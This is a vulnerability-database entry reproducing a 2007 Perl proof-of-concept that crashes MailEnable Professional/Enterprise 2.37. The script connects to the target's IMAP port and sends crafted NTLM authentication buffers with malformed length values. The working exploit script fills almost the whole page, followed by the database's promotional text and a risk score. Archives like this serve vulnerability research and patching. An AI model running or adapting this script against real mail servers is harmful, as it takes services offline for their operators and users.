Lucene search
K

MailEnable Professional/Enterprise <= 2.37 Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

MailEnable Professional/Enterprise version 2.37 Denial of Service exploit using perl scrip

Code

                                                #!/usr/bin/perl
#
# maildisable-v7.pl
#
# Mail Enable Professional/Enterprise v2.32-7 (win32)
# by mu-b - Wed Feb 14 2007
#
# - Tested on: Mail Enable Professional v2.37 (win32)
#
########

use Getopt::Std; getopts(&#39;t:&#39;, \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{&#39;t&#39;})) { $target = $arg{&#39;t&#39;} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = &#39;A&#39;;

if (connect_host($target, $imapd_port)) {
    print(&#34;-&#62; * Connected\n&#34;);
    send(SOCKET, &#34;1 AUTHENTICATE NTLM\r\n&#34;, 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           &#34;\xfa\xff\xff\xff&#34;.
           ($PAD x 12);
    send(SOCKET, encode_base64($buf).&#34;\r\n&#34;, 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           &#34;\x00\x01&#34;.
           ($PAD x 2).
           &#34;\xff\xff\xff\x7f&#34;;
    send(SOCKET, encode_base64($buf).&#34;\r\n&#34;, 0);
    sleep($send_delay);

    print(&#34;-&#62; * Successfully sent payload!\n&#34;);
}

sub print_header {
    print(&#34;MailEnable Pro v2.37 DoS POC\n&#34;);
    print(&#34;by: &#60;mu-b\@digit-labs.org&#62;\n\n&#34;);
}

sub usage {
    print(qq(Usage: $0 -t &#60;hostname&#62;

     -t &#60;hostname&#62;    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die(&#34;Error: $!\n&#34;);
    $paddr  = sockaddr_in($port, $iaddr)         || die(&#34;Error: $!\n&#34;);
    $proto  = getprotobyname(&#39;tcp&#39;)              || die(&#34;Error: $!\n&#34;);

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(&#34;Error: $!\n&#34;);
    connect(SOCKET, $paddr)                      || die(&#34;Error: $!\n&#34;);
    return(1338);
}

# milw0rm.com [2007-02-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12